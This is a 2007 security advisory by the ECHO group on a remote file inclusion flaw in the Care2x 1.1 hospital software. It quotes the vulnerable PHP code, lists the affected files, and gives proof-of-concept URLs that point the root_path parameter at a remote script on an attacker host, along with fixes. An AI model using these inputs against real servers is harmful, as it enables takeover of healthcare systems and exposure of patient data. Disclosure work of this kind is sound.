adv72-theday-2007.txt
Posted on 14 March 2007
____________________ ___ ___ ________ \_ _____/\_ ___ / | \_____ \n| __)_ / // ~ / | \n| \ \___ Y / | \n/_______ / \______ /\___|_ /\_______ / / / / / .OR.ID ECHO_ADV_72$2007 ------------------------------------------------------------------------- [ECHO_ADV_72$2007] CARE2X (root_path) Remote File Inclusion Vulnerability -------------------------- ---------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : March, 13th 2007 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv72-theday-2007.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : CARE2X version : 1.1 URL : http://www.care2x.org Care2x integrates data, functions and workflows in a healthcare environment. It is currently composed of four major components. Each of these components can also function individually. --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~ - Invalid include_once function at include/inc_checkdate_lang.php -----------------------include/inc_checkdate_lang.php------------ <? if(file_exists($root_path."language/$lang/lang_".$lang."_checkdate.php")) include_once($root_path."language/$lang/lang_".$lang."_checkdate.php"); else include_once($root_path."language/en/lang_en_checkdate.php"); if(file_exists($root_path."language/$lang/lang_".$lang."_date_time.php")) include_once($root_path."language/$lang/lang_".$lang."_date_time.php"); else include_once($root_path."language/en/lang_en_date_time.php"); ?> ---------------------------------------------------------- Input passed to the "$root_path" parameter in inc_checkdate_lang.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. also affected files : include/inc_charset_fx.php include/inc_config_color.php include/inc_currency_set.php include/inc_db_makelink.php include/inc_diagnostics_report_fx.php include/inc_environment_global.php include/inc_front_chain_lang.php include/inc_init_crypt.php include/inc_load_copyrite.php include/inc_news_save.php main/barcode-labels.php main/chg-color.php main/config_options_gui_template.php main/config_options_mascot.php main/diagnostics-report-index.php and More .... Proof Of Concept: ~~~~~~~~~~~~~~ http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt? http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt? http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt? http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt? Solution: ~~~~~~ - Sanitize variable $root_path affected files. - Turn off register_globals --------------------------------------------------------------------------- Shoutz: ~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy Nice Girl ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker@yahoogroups.com ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~ EcHo Research & Development Center http://advisories.echo.or.id erdc[at]echo[dot]or[dot]id the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------
